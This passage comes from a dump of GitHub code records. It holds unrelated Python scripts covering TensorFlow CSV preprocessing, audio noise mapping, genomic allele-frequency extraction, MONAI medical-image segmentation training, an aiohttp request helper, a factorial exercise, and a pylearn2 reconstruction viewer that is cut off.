['Cherbourg', 'Southhampton', 'Queenstown'],\n 'alone' : ['y', 'n']\n}\n\n'''\n----------------------------------------------------------------------------------------------------------\nWrite a function that takes a categorical value tensor, matches it with a list of value names, \nand then performs one-hot encoding.\n----------------------------------------------------------------------------------------------------------\n'''\ndef process_categorical_data(data, categories):\n \"\"\"\n ------------------------------------------------------------------\n Returns a one-hot encoded tensor representing category values.\n ------------------------------------------------------------------\n \"\"\"\n \n # Remove the first ' '\n data = tf.strings.regex_replace(data, '^ ', '')\n # Remove the last '.'\n data = tf.strings.regex_replace(data, r'\\.$', '')\n \n # One-hot encoding\n # Reshape data from one dimension (list) to two dimensions (list of one element list).\n data = tf.reshape(data, [-1, 1])\n \n # For each element, create a list of the boolean values of the number of categories, \n # where the label of the element and the category match are True.\n data = categories == data\n \n # Casts a boolean to a floating point number.\n data = tf.cast(data, tf.float32)\n \n # You can also put the entire encoding on one line:\n # data = tf.cast(categories == tf.reshape(data, [-1, 1]), tf.float32)\n return data\n\n'''\n-----------------------------------------------------------------------\nTo visualize this process, \nwe take one tensor of the category column from the first batch, process it, \nand show the state before and after.\n------------------------------------------------------------------------\n'''\nclass_tensor = examples['class']\nprint('class_tensor = \\n{0}\\n'.format(class_tensor))\n\nclass_categories = CATEGORIES['class']\nprint('class_categories = {0}\\n'.format(class_categories))\n\nprocessed_class = process_categorical_data(class_tensor, class_categories)\nprint('processed_class = \\n{0}\\n'.format(processed_class))\n\n'''\n----------------------------------------------------------------------------\nNotice the relationship between the length of the two inputs and the shape of the output.\n----------------------------------------------------------------------------\n'''\nprint('Size of batch: {0}'.format(len(class_tensor.numpy())))\nprint('Number of category labels: {0}'.format(len(class_categories)))\nprint('Shape of one-hot encoded tensor: {0}\\n'.format(processed_class.shape))\n\n'''\n----------------------------------------------------------------------------\nContinuous data\nContinuous data must be normalized so that the value is between 0 and 1. \nTo do this, \nwrite a function that multiplies each value by 1 divided by twice the average of the column values.\n----------------------------------------------------------------------------\n'''\n\n# This function also reshapes the data into a two-dimensional tensor.\ndef process_continuous_data(data, mean):\n # standardization of data\n data = tf.cast(data, tf.float32) * 1/(2*mean)\n return tf.reshape(data, [-1, 1])\n\n'''\n---------------------------------------------------------------------------\nTo perform this calculation, you need the average of the column values. \nObviously, in reality it is necessary to calculate this value, \nbut we will show a value for this example.\n---------------------------------------------------------------------------\n'''\nMEANS = {\n 'age' : 29.631308,\n 'n_siblings_spouses' : 0.545455,\n 'parch' : 0.379585,\n 'fare' : 34.385399\n}\n\n\n'''\n-----------------------------------------------------------------------------\nTo perform this calculation, you need the average of the column values. \nObviously, in reality it is necessary to calculate this value, \nbut we will show a value for this example.\n-----------------------------------------------------------------------------\n'''\n# To see what this function actually does, \n# take a continuous tensor and look before and after.\nage_tensor = examples['age']\nprint('age_tensor = \\n{0}\\n'.format(age_tensor))\n\nage_tensor_standard = process_continuous_data(age_tensor, MEANS['age'])\nprint('age_tensor_standard = \\n{0}\\n'.format(age_tensor_standard))\n\n'''\n------------------------------------------------------------------------------\nData preprocessing\n\nCombine these preprocessing tasks into a single function \nthat can be mapped to batches in a dataset.\n------------------------------------------------------------------------------\n'''\ndef preprocess(features, labels):\n \n # Processing category features\n for feature in CATEGORIES.keys():\n features[feature] = process_categorical_data(features[feature], CATEGORIES[feature])\n\n # Processing of continuous features\n for feature in MEANS.keys():\n features[feature] = process_continuous_data(features[feature], MEANS[feature])\n \n # Assemble features into one tensor.\n features = tf.concat([features[column] for column in FEATURE_COLUMNS], 1)\n \n return features, labels\n\n# Then apply it using the tf.Dataset.map function and shuffle the dataset to prevent overtraining.\ntrain_data = raw_train_data.map(preprocess).shuffle(500)\ntest_data = raw_test_data.map(preprocess)\n\n# Let's see what one sample looks like.\nexamples, labels = next(iter(train_data))\n\nprint('examples = \\n{0}\\n'.format(examples))\nprint('labels = \\n{0}\\n'.format(labels))\n\n'''\n----------------------------------------------------------------------------------\nThis example consists of a two-dimensional array with 12 items (the batch size). \nEach item represents one line of the original CSV file. \nLabels are one-dimensional tensors with 12 values.\n-----------------------------------------------------------------------------------\n'''\n\n'''\n-----------------------------------------------------------------------------------\nBuild the model\n\nIn this example, \nwe use the Keras Functional API and wrap it with the get_model constructor to build a simple model.\n-----------------------------------------------------------------------------------\n'''\n\ndef get_model(input_dim, hidden_units=[100]):\n \"\"\"\n -----------------------------------------------------\n Create Keras model with multiple layers\n\n argument:\n input_dim: (int) shape of items in batch\n labels_dim: (int) label shape\n hidden_units: [int] Layer size of DNN (input layer first)\n learning_rate: (float) optimizer learning rate\n\n Return value:\n Keras model\n ------------------------------------------------------\n \"\"\"\n\n inputs = tf.keras.Input(shape=(input_dim,))\n x = inputs\n\n for units in hidden_units:\n x = tf.keras.layers.Dense(units, activation='relu')(x)\n outputs = tf.keras.layers.Dense(1, activation='sigmoid')(x)\n\n model = tf.keras.Model(inputs, outputs)\n \n return model\n\n'''\n--------------------------------------------------------------------\nThe get_model constructor needs \nto know the shape of the input data (except the batch size).\n--------------------------------------------------------------------\n'''\ntrain_element_spec = train_data.element_spec\n\ninput_shape = train_element_spec[0]\noutput_shape = train_element_spec[1] # [0] is the batch size\n\ninput_dimension = input_shape.shape.dims[1]\n\nprint('(input_shape = {0}, output_shape = {1})\\n'.format(input_shape, output_shape))\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n ' Training, evaluation, and prediction \\n'\n '------------------------------------------------------------------------------------------------------\\n'\n )\nmodel = get_model(input_dimension)\nmodel.compile(\n loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\nmodel.fit(train_data, epochs=20)\n\n# Once you have trained your model, you can check the accuracy rate on the test_data dataset.\ntest_loss, test_accuracy = model.evaluate(test_data)\n\nprint('\\n\\nTest Loss {0}, Test Accuracy {1}\\n'.format(test_loss, test_accuracy))\n\n# Use tf.keras.Model.predict to infer the labels of a single batch or a dataset consisting of batches.\npredictions = model.predict(test_data)\n\n# View some of the results.\nfor prediction, survived in zip(predictions[:10], list(test_data)[0][1][:10]):\n print(\"Predicted survival: {:.2%}\".format(prediction[0]),\n \" | Actual outcome: \",\n (\"SURVIVED\" if bool(survived) else \"DIED\"))\n\n\ndata_today = datetime.date.today()\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n )\n\nprint(\n ' finished datasets_csv.py ({0}) \\n'.format(data_today)\n )\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n )\nprint()\nprint()\nprint()","repo_name":"munezou/VsCodeProject","sub_path":"Python/Normal/tensorflow/datasets_csv.py","file_name":"datasets_csv.py","file_ext":"py","file_size_in_byte":13501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"237517628","text":"class SectionQuestion:\n\n def __init__(self, section, name, questions):\n self.section = section\n self.name = name\n self.questions = questions\n\n def build(self):\n response = {\n 'name': self.name,\n 'section': self.section,\n 'questions': self.questions\n }\n return response","repo_name":"rafael1996-git/upaxer-ws-cites-drake-pythom","sub_path":"upax/model/SectionQuestion.py","file_name":"SectionQuestion.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22679248817","text":"import sys\nimport numpy as np\nimport soundfile\n\ndef get_noise_info(noise_scp, noise_db_range):\n noises = []\n with open(noise_scp, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n sps = line.strip().split(None, 1)\n if len(sps) == 1:\n noises.append(sps[0])\n else:\n noises.append(sps[1])\n sps = noise_db_range.split(\"_\")\n if len(sps) == 1:\n noise_db_low, noise_db_high = float(sps[0])\n elif len(sps) == 2:\n noise_db_low, noise_db_high = float(sps[0]), float(sps[1])\n else:\n raise ValueError(\"Format error: '{noise_db_range}' e.g. -3_4 -> [-3db,4db]\")\n\n return noises, noise_db_low, noise_db_high\n\ndef write_to_scp(speech_scp, noises, noise_db_low, noise_db_high):\n with open(speech_scp, \"r\") as speech_scp_f:\n for line in speech_scp_f.readlines():\n if 0.875 < np.random.random():\n continue\n noise_path = np.random.choice(noises)\n noise_db = np.random.uniform(noise_db_low, noise_db_high)\n speech, _ = soundfile.read(line.split()[-1].strip(), always_2d=False)\n nsamples = len(speech)\n with soundfile.SoundFile(noise_path) as f:\n if f.frames == nsamples:\n offset = 0\n elif f.frames < nsamples:\n offset = np.random.randint(0, nsamples - f.frames)\n else:\n offset = np.random.randint(0, f.frames - nsamples)\n assert (f.frames - offset) >= nsamples\n\n print(line.split()[0].strip(), noise_path, noise_db, offset)\n\nif __name__ == \"__main__\":\n noise_scp = sys.argv[1].strip()\n speech_scp = sys.argv[2].strip()\n noise_db_range = \"0_25\"\n noises, noise_db_low, noise_db_high = get_noise_info(noise_scp, noise_db_range)\n write_to_scp(speech_scp, noises, noise_db_low, noise_db_high)\n\n","repo_name":"nullscc/espnet","sub_path":"egs2/librispeech_100/asr1/gen_noise_map.py","file_name":"gen_noise_map.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74370322087","text":" #!/usr/bin/python\n\nimport pysam,gzip,csv\nfrom optparse import OptionParser\nimport subprocess\n# python scripts/weigthedES_byGP.py -a paneldir/\n\nparser = OptionParser(\"$prog [options]\")\nparser.add_option(\"-v\", \"--vcffile\", dest=\"vcffile\", help=\"Input VCF file\", default=None, type=\"string\"),\nparser.add_option(\"-o\", \"--outfile\", dest=\"outfile\", help=\"Output file (def None)\", default=None, type=\"string\")\nparser.add_option(\"-p\", \"--outfile2\", dest=\"outfile2\", help=\"Output file 2 for prsice(def None)\", default=None, type=\"string\")\nparser.add_option(\"-g\", \"--gwasfile\", dest=\"gwasfile\", help=\"GWAS file\", default=None, type=\"string\")\n(options,args) = parser.parse_args()\n\n# Read vcf and ancestral state files\nvcffile = pysam.Tabixfile(options.vcffile,mode='r')\n\n# Open output file\noutfile = open(options.outfile,\"w\")\noutfile2 = open(options.outfile2,\"w\")\n\n# Record population panels\nfor line in vcffile.header:\n if \"#CHROM\" in line:\n popordered = line.split(\"\\t\")[9:]\n\n# Print header\nheader = \"#CHROM\\tPOS\\tSNPID\\tREF\\tALT\\tALTEFFECT\\tSE\\tPVAL\\t\"\noutfile2.write(''.join(header) + '\\n')\n\nheader += \"\\t\".join(popordered)\noutfile.write(''.join(header) + '\\n')\n\n\n# Read files\nwith gzip.open(options.gwasfile, mode=\"rt\") as tsvfile:\n reader = csv.DictReader(tsvfile, dialect='excel-tab')\n for row in reader:\n info = row['variant']\n infofields = info.strip(\"\\n\").split(\":\")\n chrom = infofields[0]\n pos = infofields[1]\n gref = infofields[2]\n galt = infofields[3]\n effect = row['beta']\n se = row['se']\n pval = row['pval']\n mAF = float(row['minor_AF'])\n lowcon = row['low_confidence_variant']\n if lowcon == 'true' or mAF <= 0.01: continue \n prevpos = int(pos) - 1\n try:\n vcfline = vcffile.fetch(str(chrom), int(prevpos), int(pos))\n except:\n continue\n nelem=\"NA\"\n for sub in vcfline:\n nelem = sub\n if nelem == \"NA\":\n continue\n fields = nelem.strip(\"\\n\").split(\"\\t\")\n snpid = fields[2]\n ref = fields[3]\n alt = fields[4]\n freqs = []\n for x in fields[9:]:\n gt = x.split(\":\")[0]\n altfreq = (float(gt.split(\"|\")[0]) + float(gt.split(\"|\")[1]))/2\n freqs.append(str(altfreq))\n finalvec = [chrom, str(pos), snpid, ref, alt, str(effect), str(se), str(pval)] + freqs\n finalvecS = [chrom, str(pos), snpid, ref, alt, str(effect), str(se), str(pval)]\n\n outfile.write(\"\\t\".join(finalvec) + '\\n')\n outfile2.write(\"\\t\".join(finalvecS) + '\\n')\n\noutfile.close()\noutfile2.close()\n\n\n\n\n\n","repo_name":"albarema/osteo_ancient","sub_path":"scripts/calc_alt.freqs.py","file_name":"calc_alt.freqs.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31832248130","text":"# -*- coding: utf-8 -*-\n\ncaption = 'unettrial1'\ntrial = 'ur1'\ndataset = 'OpenKBP-BSMPP-3D'\narchitecture = \"unetr\"\nencoder_name= \"efficientnet-b4\" #only for unet2D eg. #resnet34 #efficientnet-b4\nepoch_num = 5\ndiceCE = True\nwdice, wce = 0.3, 0.7\nserver = True\ndilation = 3 #only for dilated models\ncyclictype = 'exp_range' #triangular,triangular2,exp_range\n#train_rt, val_rt, test_rt = 0.30, 0.10, 0.10\ntrain_rt, val_rt, test_rt = 0.70, 0.15, 0.15\n\nimport time\nfrom datetime import datetime\nimport gc\nimport warnings\nimport numpy as np\nimport os\nimport pickle\nimport glob\nimport torch\nimport torch.nn as nn\nimport pandas as pd\nfrom monai.apps import download_and_extract\nfrom monai.config import print_config\nfrom monai.data import CacheDataset, DataLoader, Dataset, decollate_batch\nfrom monai.inferers import sliding_window_inference\nfrom monai.losses import DiceLoss, DiceCELoss\nfrom monai.metrics import DiceMetric, compute_meandice, compute_hausdorff_distance, HausdorffDistanceMetric\nfrom monai.utils import first, set_determinism\nimport segmentation_models_pytorch as smp\nfrom monai.metrics.utils import do_metric_reduction, ignore_background\nfrom monai.transforms import (\n AsDiscrete,\n Compose,\n EnsureType,\n Activations,\n)\nimport functions\nimport models\nimport loaddata\nimport transforms\nfrom torch.optim.lr_scheduler import CyclicLR\nfrom tqdm import tqdm\n\nprint_config()\ntorch.cuda.empty_cache()\n\ndatasets = ['NSCLC-LLS-2D','NSCLC-LLS-3D','OpenKBP-BSMPP-2D','OpenKBP-BSMPP-3D','PDDCA-BCOOPP-3D','PDDCA-BCOOPP-2D','OH-LLG-3D','OH-LLG-2D','OHC-LLG-3D','OHC-LLG-2D','OHC-G-3D']\narchitectures = ['unet2D','monaiunet2D','monaiunet3D','unet++', 'dilatedmonaiunet2D', 'dynunet2D', 'dynunet3D','unetr']\n\nlossfunc = functions.get_loss_func(diceCE)\nlabel_names, numberofclasses = functions.get_classes(dataset) \ndimension,batchsize = functions.get_dimension_and_bs(dataset)\ndice_roi,aug_roi = functions.get_rois(dataset, architecture)\n\ndatasetID = datasets.index(dataset)\narchitectureID = architectures.index(architecture)\ntrial_name = f\"{trial}_{architectureID}_{datasetID}\"\n\nif server:\n root_dir = '/home/ilkin/FDOH'\n data_dir = os.path.join(\"/home/ilkin/data\", dataset)\nelse:\n root_dir = '/home/ilkinisler/Documents/FDOH'\n data_dir = os.path.join(\"/home/ilkinisler/Documents/data\", dataset)\nmodel_dir = os.path.join(root_dir, \"models\")\ntest_dir = os.path.join(root_dir, \"tests\", architecture, dataset, trial_name)\n\nloss_metric_path = os.path.join(test_dir, f\"{trial}_loss_dice.png\")\nclass_dice_path = os.path.join(test_dir, f\"{trial}_class_dice.png\")\nclass_hd_path = os.path.join(test_dir, f\"{trial}_class_hd.png\")\n\nbest_metric_model_path = os.path.join(model_dir, f\"{trial_name}_best_model.pth\")\n\nif not os.path.isdir(model_dir):\n os.mkdir(model_dir)\nif not os.path.isdir(os.path.join(root_dir, \"tests\", architecture, dataset)):\n os.mkdir(os.path.join(root_dir, \"tests\", architecture, dataset))\nif not os.path.isdir(test_dir):\n os.mkdir(test_dir)\n\nnow = datetime.now()\ndt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\nlogFile = open(os.path.join(test_dir, f\"{trial_name}_train_out.txt\"), \"w\")\nlogFile.write(f\"Date & time: {dt_string} \\n\"\n f\"Caption: {caption} \\n\"\n f\"Trial number: {trial} \\n\"\n f\"Architecture: {architecture} \\n\"\n f\"Encoder: {encoder_name} \\n\"\n f\"Dataset: {dataset} \\n\"\n f\"Trial code: {trial_name} \\n\"\n f\"Batch size: {batchsize}\\n\"\n f\"Loss function: {lossfunc} ({wdice}-{wce})\\n\"\n f\"CcylicLR: {cyclictype}\\n\")\n\ntrain_files, val_files, test_files, eval_files = loaddata.get_train_val_files(dataset, data_dir, train_rt, val_rt, test_rt, logFile, test_dir, server)\n\nset_determinism(seed=0)\n\ntrain_transforms = transforms.getTrainTransform(dimension,aug_roi)\nval_transforms = transforms.getValTransform()\n\ntrain_ds = CacheDataset(data=train_files, transform=train_transforms, cache_rate=0.1, num_workers=4)\ntrain_loader = DataLoader(train_ds, batch_size=batchsize, shuffle=True, num_workers=4)\n\nval_ds = CacheDataset(data=val_files, transform=val_transforms, cache_rate=0.1, num_workers=4)\nval_loader = DataLoader(val_ds, batch_size=1, num_workers=4)\n\ntest_transforms = transforms.getValTransform()\n\ntest_ds = CacheDataset(data=test_files, transform=test_transforms, cache_rate=0.1, num_workers=4)\ntest_loader = DataLoader(test_ds, batch_size=1, num_workers=4)\n\neval_ds = CacheDataset(data=eval_files, transform=test_transforms, cache_rate=0.1, num_workers=4)\neval_loader = DataLoader(eval_ds, batch_size=1, num_workers=4)\n\ndevice = torch.device(\"cuda\")\n\nif architecture=='unet2D':\n model = models.unet2D(encoder_name, numberofclasses+1)\nif architecture=='unet++':\n model = models.unetplusplus(encoder_name, numberofclasses+1)\nif architecture in ['monaiunet2D','monaiunet3D']:\n model = models.monaiunet(dimension, numberofclasses+1)\nif architecture in ['dynunet2D','dynunet3D']:\n model = models.dynunet(dimension, numberofclasses+1)\nif architecture in ['dilatedmonaiunet2D']:\n model = models.dilatedmonaiunet(dimension, numberofclasses+1, dilation)\nif architecture=='unetr':\n model = models.unetr(numberofclasses+1, aug_roi)\n\nif server:\n model = nn.DataParallel(model)\n\nmodel.to(device)\n\nif diceCE:\n loss_function = DiceCELoss(to_onehot_y=True, softmax=True, lambda_dice=0.4, lambda_ce=0.6)\nelse:\n loss_function = DiceLoss(to_onehot_y=True, softmax=True)\noptimizer = torch.optim.Adam(model.parameters(), 1e-5)\nscheduler = CyclicLR(optimizer, mode=cyclictype, max_lr=0.003, base_lr=0.0005, cycle_momentum=False)\nwarnings.filterwarnings('ignore')\n\npost_pred = AsDiscrete(argmax=True, to_onehot=numberofclasses+1)\npost_label = AsDiscrete(to_onehot=numberofclasses+1)\n\nbest_metric = -1\nbest_metric_epoch = -1\nbest_metrics_epochs_and_time = [[], [], []]\nepoch_loss_values = []\nmetric_values = []\nmetric_values_cb = [[] for i in range(numberofclasses)]\n\ndef validation(epoch_iterator_val):\n model.eval()\n with torch.no_grad():\n for step, batch in enumerate(epoch_iterator_val):\n val_inputs, val_labels = (batch[\"image\"].cuda(), batch[\"mask\"].cuda())\n val_outputs = sliding_window_inference(val_inputs, aug_roi, 4, model)\n val_labels_list = decollate_batch(val_labels)\n val_labels_convert = [\n post_label(val_label_tensor) for val_label_tensor in val_labels_list\n ]\n val_outputs_list = decollate_batch(val_outputs)\n val_output_convert = [\n post_pred(val_pred_tensor) for val_pred_tensor in val_outputs_list\n ]\n dice_metric(y_pred=val_output_convert, y=val_labels_convert)\n epoch_iterator_val.set_description(\n \"Validate (%d / %d Steps)\" % (global_step, 10.0)\n )\n mean_dice_val = dice_metric.aggregate().item()\n dice_metric.reset()\n\n return mean_dice_val\n\n\ndef train(global_step, train_loader, dice_val_best, global_step_best):\n model.train()\n epoch_loss = 0\n step = 0\n epoch_iterator = tqdm(\n train_loader, desc=\"Training (X / X Steps) (loss=X.X)\", dynamic_ncols=True\n )\n for step, batch in enumerate(epoch_iterator):\n step += 1\n x, y = (batch[\"image\"].cuda(), batch[\"mask\"].cuda())\n logit_map = model(x)\n loss = loss_function(logit_map, y)\n loss.backward()\n epoch_loss += loss.item()\n optimizer.step()\n optimizer.zero_grad()\n epoch_iterator.set_description(\n \"Training (%d / %d Steps) (loss=%2.5f)\" % (global_step, max_iterations, loss)\n )\n if (\n global_step % eval_num == 0 and global_step != 0\n ) or global_step == max_iterations:\n epoch_iterator_val = tqdm(\n val_loader, desc=\"Validate (X / X Steps) (dice=X.X)\", dynamic_ncols=True\n )\n dice_val = validation(epoch_iterator_val)\n epoch_loss /= step\n epoch_loss_values.append(epoch_loss)\n metric_values.append(dice_val)\n \n statedict = model.state_dict()\n \n if dice_val > dice_val_best:\n dice_val_best = dice_val\n global_step_best = global_step\n torch.save(statedict, best_metric_model_path) \n print(\n \"Model Was Saved ! Current Best Avg. Dice: {} Current Avg. Dice: {}\".format(\n dice_val_best, dice_val\n )\n )\n else:\n print(\n \"Model Was Not Saved ! Current Best Avg. Dice: {} Current Avg. Dice: {}\".format(\n dice_val_best, dice_val\n )\n )\n global_step += 1\n return global_step, dice_val_best, global_step_best\n\n\nmax_iterations = 20000\neval_num = 400\npost_label = AsDiscrete(to_onehot=numberofclasses+1)\npost_pred = AsDiscrete(argmax=True, to_onehot=numberofclasses+1)\ndice_metric = DiceMetric(include_background=False, reduction=\"mean\", get_not_nans=False)\ndice_metric_batch = DiceMetric(include_background=False, reduction=\"mean_batch\")\nglobal_step = 0\ndice_val_best = 0.0\nglobal_step_best = 0\nepoch_loss_values = []\nmetric_values = []\nt0 = time.time()\nwhile global_step < max_iterations:\n global_step, dice_val_best, global_step_best = train(\n global_step, train_loader, dice_val_best, global_step_best\n )\nt1 = time.time()\n\nlogFile.write(f\"Max iterations: {max_iterations} Eval number: {eval_num}\\n\")\n\nmodel_results = (f\"\\nTrain completed: \\nBest_metric: {dice_val_best:.4f} \"\n f\"at iteration: {global_step_best}\\ntime: {((t1-t0)/60):.4f}\")\n\nprint(model_results)\nlogFile.write(f\"{model_results}\\n\")\n\nmodel.load_state_dict(torch.load(best_metric_model_path))\n\nmodel.eval()\n\nfunctions.avg_loss_metric_graph(epoch_loss_values, metric_values, eval_num, loss_metric_path)\n\nsaved_metrics = {'max_iterations':max_iterations,'metric_values':metric_values, 'epoch_loss_values':epoch_loss_values}\nobject = saved_metrics \nfilehandler = open(os.path.join(root_dir, \"tests\", f\"{architecture}/{dataset}/{trial}_{architectureID}_{datasetID}/{trial}_saved_metrics_{epoch_num}_epochs.obj\"), 'wb') \npickle.dump(object, filehandler)\n\nmeandice = np.zeros([numberofclasses+1])\nk = 0\nfor i, test_data in enumerate(test_loader):\n test_inputs, test_labels = (\n test_data[\"image\"].to(device),\n test_data[\"mask\"].to(device),\n )\n meandice += functions.calculate_dice(test_inputs,test_labels,aug_roi,model)\n k += 1\nprint(k, \"test images\")\nmeandice = meandice/k\ntest_results = (f\"\\nTest completed: \\nBest metrics: {np.array2string(meandice)} \\nBest mean metric: {(np.nanmean(meandice)):.4f}\")\n\nprint(test_results)\nlogFile.write(f\"{test_results}\\n\")\n\nfunctions.save_evaluation_results(dataset, test_loader, model, test_dir, trial, device, eval_files, aug_roi)\n\nlogFile.close() \n","repo_name":"ilkinisler/Enhancing-organ-at-risk-segmentation-with-improved-deep-neural-networks","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10603101651","text":"from urllib.error import HTTPError\r\nimport aiohttp \r\nimport json \r\nimport requests\r\nimport asyncio \r\nfrom collections import OrderedDict\r\nfrom io import BytesIO\r\n\r\ndef raise_error(url, code, errors):\r\n\ttemplate = errors.get(code, errors.get(\"default\", \"Http request failed with a {} error\"))\r\n\tif code == 404:\r\n\t\traise Http404Error(template)\r\n\telse:\r\n\t\traise HttpError(template, code)\r\n\r\nclass HttpGetter:\r\n\tdef __init__(self):\r\n\t\tself.loop = asyncio.get_event_loop()\r\n\t\tself.session = aiohttp.ClientSession(loop=self.loop)\r\n\r\n\tasync def get(self, url, return_type=\"json\", headers=None):\r\n\r\n\t\tasync with self.session.get(url, timeout=60) as r:\r\n\t\t\tif r.status == 200:\r\n\t\t\t\tif return_type == \"json\":\r\n\t\t\t\t return json.loads(await r.text(), object_pairs_hook=OrderedDict)\r\n\t\t\t\telif return_type == \"text\":\r\n\t\t\t\t return await r.text()\r\n\t\t\t\telif return_type == \"bytes\":\r\n\t\t\t\t return BytesIO(await r.read())\r\n\t\t\t\telse:\r\n raise ValueError(f\"Invalid return type '{return_type}'\")\r\n\t\t\telse:\r\n\t\t\t\traise ValueError(url)\r\n\r\n\r\n\tasync def post(self, url, return_type=\"json\", body={}, headers={}):\r\n\t\tasync with self.session.post(url, json=body, headers=headers) as r:\r\n\t\t\tif r.status == 200:\r\n\t\t\t\tif return_type == \"json\":\r\n\t\t\t\t\treturn json.loads(await r.text(), object_pairs_hook=OrderedDict)\r\n\t\t\t\telif return_type == \"text\":\r\n\t\t\t\t\treturn await r.text()\r\n\t\t\t\telif return_type == \"bytes\":\r\n\t\t\t\t\treturn BytesIO(await r.read())\r\n\t\t\t\telse:\r\n\t\t\t\t\traise ValueError(f\"Invalid return type '{return_type}'\")\r\n\t\t\telse:\r\n\t\t\t\traise ValueError(url)\r\n\r\n \r\n\r\n","repo_name":"jamiedonnelly/DotaBet","sub_path":"DotaBot/modules/httpgetter.py","file_name":"httpgetter.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28217073695","text":"def factorial(x):\n factorial = 1\n if x == 0 or x == 1:\n return factorial\n if x < 0:\n return 'There is no'\n for i in range(x):\n factorial *= i + 1\n return factorial\n\n\nnumber = int(input('Please enter a number: '))\nprint(f'Factorial your number is {factorial(number)}.')\n","repo_name":"Lekuro/python_core","sub_path":"HomeWork4/1_factorial.py","file_name":"1_factorial.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5651987182","text":"#!/usr/bin/env python\n\"\"\"\nUsage: python show_reconstructions \nDisplays a batch of data from the DBM's training set.\nThen shows how the DBM reconstructs it if you run mean field\nto estimate the hidden units, then do one mean field downward\npass from hidden_layers[0] to the visible layer.\n\"\"\"\n\nfrom __future__ import print_function\n\n__authors__ = \"Ian Goodfellow\"\n__copyright__ = \"Copyright 2012, Universite de Montreal\"\n__credits__ = [\"Ian Goodfellow\"]\n__license__ = \"3-clause BSD\"\n__maintainer__ = \"LISA Lab\"\n\nimport sys\nfrom pylearn2.config import yaml_parse\nfrom pylearn2.gui.patch_viewer import PatchViewer\nfrom pylearn2.utils import serial\nfrom theano.compat.six.moves import input, xrange\nfrom theano import function\n\n\ndef init_viewer(dataset, rows, cols, vis_batch):\n \"\"\"\n Initialisation of the PatchViewer with given rows and columns.\n\n Parameters\n ----------\n dataset: pylearn2 dataset\n rows: int\n cols: int\n vis_batch: numpy array\n \"\"\"\n m = rows * cols\n _, patch_rows, patch_cols, channels = vis_batch.shape\n\n assert _ == m\n\n mapback = hasattr(dataset, 'mapback_for_viewer')\n actual_cols = 2 * cols * (1 + mapback) * (1 + (channels == 2))\n pv = PatchViewer((rows, actual_cols),\n (patch_rows, patch_cols),\n is_color=(channels == 3))\n return pv\n\n\ndef get_mapped_batch(dataset, design_batch):\n \"\"\"\n Get mapped batch if 'mapback_for_viewer' is available with the dataset.\n\n Parameters\n ----------\n dataset: pylearn2 dataset\n design_batch: numpy array\n \"\"\"\n if design_batch.ndim != 2:\n design_batch = dataset.get_design_matrix(design_batch.copy())\n mapped_design = dataset.mapback(design_batch.copy())\n mapped_batch = dataset.get_topological_view(mapped_design.copy())\n\n return mapped_batch\n\n\ndef update_viewer(dataset, batch, rows, cols, pv, recons_func, vis_batch):\n \"\"\"\n Function to update the viewer with a new visible batch.\n\n Parameters\n ----------\n dataset: pylearn2 dataset\n batch: numpy array\n rows: int\n cols: int\n pv: PatchViewer\n recons_func: theano function\n vis_batch: numpy array\n \"\"\"\n mapback = hasattr(dataset, 'mapback_for_viewer')\n topo = batch.ndim > 2\n\n ipt = vis_batch.copy()\n if not topo:\n ipt = dataset.get_design_matrix(ipt)\n recons_batch = recons_func(ipt.astype(batch.dtype))\n if not topo:\n recons_batch = dataset.get_topological_view(recons_batch)\n if mapback:\n mapped_batch = get_mapped_batch(dataset, vis_batch)\n mapped_r_batch = get_mapped_batch(dataset, recons_batch.copy())\n for row in xrange(rows):\n row_start = cols * row\n for j in xrange(cols):\n vis_patch = vis_batch[row_start+j, :, :, :].copy()\n adjusted_vis_patch = dataset.adjust_for_viewer(vis_patch)\n if vis_patch.shape[-1] == 2:\n pv.add_patch(adjusted_vis_patch[:, :, 1],\n rescale=False)\n pv.add_patch(adjusted_vis_patch[:, :, 0],\n rescale=False)\n else:\n pv.add_patch(adjusted_vis_patch, rescale=False)\n\n if mapback:\n pv.add_patch(\n dataset.adjust_for_viewer(\n mapped_batch[row_start+j, :, :, :].copy()),\n rescale=False)\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n mapped_r_batch[row_start+j, :, :, :].copy(),\n mapped_batch[row_start+j, :, :, :].copy()),\n rescale=False)\n if recons_batch.shape[-1] == 2:\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n recons_batch[row_start+j, :, :, 1].copy(), vis_patch),\n rescale=False)\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n recons_batch[row_start+j, :, :, 0].copy(), vis_patch),\n rescale=False)\n else:\n pv.add_patch(\n dataset.adjust_to_be_viewed_with(\n recons_batch[row_start+j, :, :, :].copy(), vis_patch),\n rescale=False)\n\n\ndef load_model(model_path, m):\n \"\"\"\n Load given model.\n\n Parameters\n ----------\n model_path: str\n Path of the model to load.\n m: int\n Size of the batch.\n \"\"\"\n print('Loading model...')\n model = serial.load(model_path)\n model.set_batch_size(m)\n\n return model\n\n\ndef load_dataset(dataset_yml, use_test_set):\n \"\"\"\n Load the dataset used by the model.\n\n Parameters\n ----------\n dataset_yml: str\n Yaml description of the dataset.\n \"\"\"\n\n print('Loading data...')\n dataset = yaml_parse.load(dataset_yml)\n\n if use_test_set == 'y':\n dataset = dataset.get_test_set()\n else:\n assert use_test_set == 